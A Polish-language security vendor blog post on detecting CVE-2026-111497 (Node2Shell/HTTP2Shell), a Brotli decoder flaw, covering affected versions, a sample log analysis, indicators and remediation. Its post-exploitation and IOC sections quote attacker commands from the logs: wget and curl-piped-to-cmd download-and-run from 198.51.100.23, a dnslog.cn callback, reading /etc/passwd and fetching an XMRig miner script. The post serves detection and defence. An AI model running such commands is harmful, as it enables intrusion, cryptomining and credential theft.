Detected Node2Shell/HTTP2Shell

Detected Node2Shell/HTTP2Shell

SOC Prime Team
SOC Prime Team linkedin icon Śledź

Wykrywanie Node2Shell/HTTP2Shell jest trudniejsze, niż się wydaje, ponieważ podatność nie jest ograniczona do jednego produktu. Node2Shell, nazywane także HTTP2Shell, to CVE-2026-111497: zapis poza zobszarem w dekoderze Brotli C firmy Google, wersje od 1.0.3 do 1.2.0, oceniony na 9.2 według CVSS 4.0. Ponieważ wada znajduje się we współdzielonej bibliotece kompresji, dotyka Node.js, pakietów Brotli dla Pythona, Bun, curl, Envoy i innego oprogramowania, które dekompresuje Brotli.

Ten artykuł omawia wykrywanie Node2Shell/HTTP2Shell przy użyciu przykładowego dziennika analizowanego w LogTotal, narzędziu do analizy dzienników, które dopasowuje zdarzenia do znanych zagrożeń. Poniżej omawiamy kontekst podatności, źródło dziennika, co zgłosił LogTotal i jak odpowiedzieć.

Rozpocznij za Darmo

Analiza Node2Shell (HTTP2Shell)

Podatny kod znajduje się w dekoderze Brotli C wersje od 1.0.3 do 1.2.0. Google, jako autorytet numeracyjny, oceniło go na 9.2 według CVSS 4.0, podczas gdy Node.js ocenia go jako Wysoki. Aby poprawnie czytać przykładowy dziennik, warto wiedzieć, jak wywoływany jest błąd, jak doszło do ujawnienia i jakie wersje i konfiguracje oprogramowania są narażone.

Szczegóły podatności dla Node2Shell

Strumień Brotli, który zadeklarował pojedynczy typ bloku, a następnie zmienił bloki, nie został odrzucony, więc dekodowanie trwało w stanie nieważnym i pisało poza bufor. Każdy proces, który dekompresuje dane Brotli kontrolowane przez atakującego, może być uderzony, w dwóch kierunkach:

  • Przychodzący: spreparowane ciało żądania HTTP skompresowanego za pomocą Brotli wysyłane do serwera, który go dekoduje.
  • Wychodzący: spreparowana odpowiedź zwracana do klienta, który ją pobiera.

Błąd ma kilka nazw. Node2Shell pojawiła się pierwsza, ponieważ Node.js ujawniło i naprawiło ją pierwsze. HTTP2Shell odzwierciedla fakt, że sięga każdego stosu, który dekoduje Brotli przez HTTP, a część raportów używa także Python2Shell i Broccoli2Shell.

Harmonogram ujawnienia i wykorzystania

Data (2026)Zdarzenie
27 październikaCISA dodała CVE do swojego katalogu KEV; amerykańskie agencje federalne muszą załatać do 10 listopada
26 październikaEksploatacja w tym próbce zarejestrowana na app-node-01
25 październikaMicrosoft wydał poprawki .NET poza standardowym cyklem
22 październikaCVE opublikowane; publicznie pokazano wykonanie kodu na Node.js 24.22.0; Bun 1.4.4 wydany
21 październikaUjawnienie i wydanie poprawek przez Node.js; Brotli 1.0.10, 1.1.1, i 1.2.1 wydane
27 lutegoPoprawka zatwierdzona do google/brotli bez wydania lub doradztwa

Sam błąd został dostarczony w Brotli 1.0.3 w marcu 2018. Khai Tran i Sylvie Mayer z OpenAI Codex Security zgłosili go do Node.js. Istnieje publiczny dowód koncepcji, Imperva i ELLIO oba odtworzyły wykonywanie kodu przeciwko oficjalnym buildom Node.js, a skanery mapujące, które hosty dekompresują Brotli, są już w użyciu. Wykonanie kodu nie zostało pokazane dla pakietów Pythona, chociaż zawieszają się one na złośliwym wejściu, jak pokazuje awaria web-prod-01 w tej próbce.

Dotknięte wersje Node2Shell i poprawki

KomponentNaprawiono w
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x oraz inne linie zakończoneBrak naprawy; przejdź na wspieraną linię
Bun1.4.4
Biblioteka Brotli firmy Google1.0.10, 1.1.1, 1.2.1
paczki brotli / brotlicffi z PyPI1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

Wersja podatna jest narażona tylko wtedy, gdy dane atakującego mogą dotrzeć do dekodera. W Node.js ścieżka ta istnieje przez Express 5, body-parser 2.x, Koa body parsers, @fastify/compress z dekompresją żądań, fetch() i bezpośrednie wywołania node:zlib Brotli. W Python, requests, httpx, aiohttp, i Scrapy używają pakietu brotli lub brotlicffi, gdy jest zainstalowany. W .NET dekompresja Brotli jest domyślnie wyłączona, a Envoy i Istio narażone są tylko przy włączonym dekompresorze Brotli. curl dekoduje Brotli tylko z –compressed, przez system libbrotli, więc potrzebuje załatanej paczki dystrybucyjnej; Debian i Red Hat dostarczyli już naprawione.

Źródło dziennika i zbieranie

AtrybutWartość
PlikNode2Shell_HTTP2Shell_sample-sanitized.jsonl
Zdarzenia11
Okno czasowe26 października 2026, 11:30:55 do 11:33:05 UTC
SchematStyl ECS
Źródła4 komunikaty jądra Linux w postaci tekstu i zrzuty rdzenia systemu; 7 zdarzeń tworzenia procesu Microsoft Defender for Endpoint

Hosty w próbce

Trzy hosty pojawiają się w surowych danych, na dwóch systemach operacyjnych. Każdy pokazuje inną część ekspozycji Node2Shell.

HostOSŚrodowisko uruchomienioweAktywność w dziennikach
app-node-01LinuxNode.js aplikacja /opt/app/server.jsAwaria Brotli, a potem polecenia powykonawcze
web-prod-01LinuxProces PythonaAwaria w _brotli.cpython-311
win-dev-01WindowsNode.js aplikacja C:Usersdevuserappserver.jsPobierz i uruchom, ukryty PowerShell

Wykrycie Node2Shell (HTTP2Shell)

LogTotal przetworzył 11 linii w 5,3 sekundy i dopasował 23 reguły do 10 linii. Utworzył 2 łańcuchy, zgłoszono 1, a 1 przefiltrowano na etapie weryfikacji AI.

Pole verdictWynik
OrzeczeniePodejrzane, wymaga zbadania
PowagaWysoki
PewnośćŚrednia

Zgłoszony łańcuch to Node2Shell / HTTP2Shell jest krytyczną podatnością (CVE-2026-111497): Wysoka, 100% zgodność, wyzwolone 2 reguły. Znajduje się na pseudonimizowanym hoście między 11:30 a 11:31 UTC, a ten czas i dowody pasują do app-node-01.

Eksploatacja: awaria dekodera Brotli

Reguła „Możliwe próba wykorzystania CVE-2026-111497 (HTTP2Shell / Node2Shell) – Awaria natywnego dekodera Brotli” dopasowała błąd segmentacji w libbrotlidec.so.1.1.0. Stos zrzutu rdzenia jest zakończony przez BrotliDecoderDecompressStream.

Raport mapuje tę awarię na odmowę usługi (T1499.004), co oznacza etap Impactu. Ostatnie trafienie reguły, o 11:33, dotyczy awarii python3 w _brotli.cpython-311 na web-prod-01, co pokazuje tę samą bibliotekę zawodzącą w drugim środowisku uruchomieniowym.

Post-eksploatacja na Linux

„Podejrzane procesy potomne NodeJS [Linux]” wyzwolono 4 razy, gdy węzeł /opt/app/server.js tworzył:

  • curl pobierający skrypt konfiguracji publicznego C3Pool XMRig minera
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, sprawdzenie callbacku poza pasmem
  • cat /etc/passwd

Post-eksploatacja na Windows, poza łańcuchem

Część Windows próbki znajduje się poza zgłoszonym łańcuchem, ale zasługuje na taką samą uwagę. Na win-dev-01, node.exe utworzył cmd.exe /c „curl -s https://198.51.100.23/api/w | cmd”, wzorzec pobierz-i-uruchom, a następnie ukryty powershell.exe wykonujący whoami.

Reguły, które wyzwoliły się na tej aktywności, to Podejrzane procesy potomne NodeJS [Windows], Odczyt zawartości ze Stdin przez Cmd.EXE oraz Podejrzane polecenia Powershell. Przefiltrowany łańcuch, Poznaj AvisLoader: ładowacz Windows stworzony, aby przetrwać przejęcie (Wysoki), był napędzany przez wykonania curl.

IOCs Node2Shell z tej próbki

WskaźnikTypKontekst
198.51.100.23IPHost ładunku dla s.sh (port 3000) i /api/w (HTTPS)
http://198.51.100.23:3000/s.shURLSkrypt pobrany przez wget na app-node-01
https://198.51.100.23/api/wURLRurki do cmd na win-dev-01
5axzi7.dnslog.cnDomenaWywołanie zwrotne poza pasmem przez ping
Skrypt konfiguracji minera C3Pool XMRigPobranePobrany przez curl z węzła
libbrotlidec.so.1.1.0 z BrotliDecoderDecompressStream na stosieSygnatura awariiPróba wykorzystania Node.js
Awaria _brotli.cpython-311Sygnatura awariiPróba wykorzystania Pythona
węzeł / node.exe uruchamiający curl, wget, ping, cat, cmd.exe, powershell.exeLiniowość procesuPost-eksploatacja

Używanie ustaleń LogTotal w triage Node2Shell

Zacznij od zgłoszonego łańcucha, aby potwierdzić eksploatację na app-node-01, a następnie przeanalizuj każde znalezisko poza łańcuchem. W tej próbce reguły poza łańcuchem i przefiltrowany łańcuch wskazują na dwa inne dotknięte hosty, web-prod-01 i win-dev-01.

Zarządzanie Node2Shell (HTTP2Shell)

Samodzielna aktualizacja Node.js nie zamyka Node2Shell, ponieważ wada znajduje się we współdzielonym dekoderze Brotli. Każde środowisko uruchomieniowe lub proxy, które dekoduje Brotli, potrzebuje aktualizacji, a każdy host w próbce musi być w zakresie.

Załataj każdego konsumera Brotli

  1. Znajdź usługi na Node.js poniżej 22.23.4, 24.22.1 lub 26.12.1, na zakończonej linii Node.js, lub na Bun poniżej 1.4.4, w tym obrazy bazowe i hosty budowlane.
  2. Najpierw załataj usługi, które dekompresują ciała żądań (Express 5, body-parser 2.x, Koa body parsers, @fastify/compress), pobierają URL-e dostarczone przez użytkowników lub przekazują niezaufane dane do funkcji node:zlib Brotli.
  3. Zaktualizuj środowisko uruchomieniowe, a następnie ponownie uruchom procesy i przebuduj obrazy kontenerów, w tym aplikacje .NET i binaria samodzielnie zbudowane przy użyciu bun build –compile.
  4. Zaktualizuj PyPI brotli do 1.2.1 i brotlicffi do 1.2.1.0 oraz zaktualizuj środowisko uruchomieniowe .NET, Envoy, Istio i pakiety brotli dystrybucyjne.
  5. Przejdź z Node.js 20 i innych zakończonych linii, które nie otrzymają poprawki.
  6. Do czasu wydania poprawek, odrzuć Content-Encoding: br w WAF lub proxy, dopasowując go niezależnie od wielkości liter i wewnątrz list takich jak „gzip, br”. To nie obejmuje odpowiedzi Brotli odczytywanych przez fetch().

Zalecana odpowiedź LogTotal

  1. Izoluj host.
  2. Zbierz dane procesów, systemu i sieci na czas 11:30–11:33 UTC.
  3. Zweryfikuj poziom łaty Node.js: 22.23.4, 24.22.1 lub 26.12.1.
  4. Usuń nieautoryzowane binaria.
  5. Odrzuć niezaufane Content-Encoding: br w WAF.
  6. Uruchom Node.js bez uprawnień.
  7. Wyłącz automatyczną dekompresję Brotli tam, gdzie to możliwe.

Dodatkowe kroki z surowego materiału dowodowego

  1. Poszerz zakres do win-dev-01 i web-prod-01, nie tylko app-node-01.
  2. Zablokuj przy wychodzących 198.51.100.23 i *.dnslog.cn.
  3. Sprawdź, czy jest miner: wpisy cron, jednostki systemd i działający proces xmrig.
  4. Załóż, że odczytano /etc/passwd i oceń konta odpowiednio.
  5. Poszukaj node, node.exe, lub python3 uruchamiającego powłoki, programy do pobierania lub narzędzia sieciowe.

Ciągłe monitorowanie Node2Shell

Przekaż komunikaty jądra i zrzuty rdzenia z systemu wraz z wydarzeniami procesu EDR. W tej próbce stos zrzutu rdzenia był jedynym bezpośrednim dowodem eksploatacji, a zdarzenia EDR niosły wszystko, co nastąpiło później.

FAQ

Czym jest Node2Shell (HTTP2Shell) i jak działa?

Node2Shell, znany także jako HTTP2Shell, to CVE-2026-111497: zapis poza obszarem w dekoderze Brotli C firmy Google, wersje 1.0.3 do 1.2.0, oceniany na 9.2 według CVSS 4.0. Spreparowane dane Brotli mogą zawiesić każdy proces, który je dekompresuje, a na Node.js wykazano, że pozwala na zdalne wykonanie kodu. Sekcja analizy powyżej wyjaśnia, jak to działa.

Kiedy Node2Shell został po raz pierwszy odkryty?

Khai Tran i Sylvie Mayer z OpenAI Codex Security znaleźli błąd i zgłosili go do Node.js. Pochodzi on z marcowej 2018 roku wersji Brotli 1.0.3. Poprawka została zatwierdzona w głównym repozytorium 27 lutego 2026 bez wydania, a Node.js ujawniło wadę 21 października 2026.

Jaki jest wpływ Node2Shell na systemy?

Sam awaria to odmowa usługi, a dalsze działania pokazują wykonanie kodu w kontekście podatnego procesu. W tej próbce oznaczało to pobranie skryptu konfiguracji minera kryptowalutowego, pobranie ładunku, wywołanie DNS poza pasmem, odczytanie /etc/passwd oraz wykonanie pobierz-i-uruchom w hoście z systemem Windows.

Czy Node2Shell może mnie nadal dotknąć w 2026 roku?

Tak. CVE-2026-111497 jest wykorzystywany na wolności i jest wymieniony w katalogu KEV CISA. Niezałatane wdrożenia Node.js, Bun, Pythona, .NET i proxy pozostają narażone, a Node.js 20 i inne zakończone linie nigdy nie otrzymają poprawki.

Jak mogę się ochronić przed Node2Shell?

Załatkuj Node.js i każdego innego konsumenta Brotli, zrestartuj procesy i przebuduj obrazy. Do tego czasu odrzucaj Content-Encoding: br w WAF lub proxy i wyłączaj automatyczną dekompresję Brotli tam, gdzie to możliwe. Sekcja o zarządzaniu zawiera pełne kroki.

Jak mogę wykryć Node2Shell?

Zbierz logi jądra i systemu oraz zdarzenia procesu EDR z każdego hosta Node.js i Pythona. Alertuj na awarie dekodera Brotli i na środowiska uruchomieniowe uruchamiające powłoki lub programy do pobierania. LogTotal mapuje te zdarzenia do łańcucha Node2Shell, ale również przeanalizuj znalezienia poza łańcuchem, ponieważ ujawniły tutaj dwa dodatkowe hosty.

Dołącz do platformy Detection as Code firmy SOC Prime aby zwiększyć widoczność zagrożeń najbardziej istotnych dla Twojego biznesu. Aby pomóc Ci rozpocząć i natychmiast uzyskać wartość, umów się teraz na spotkanie z ekspertami SOC Prime.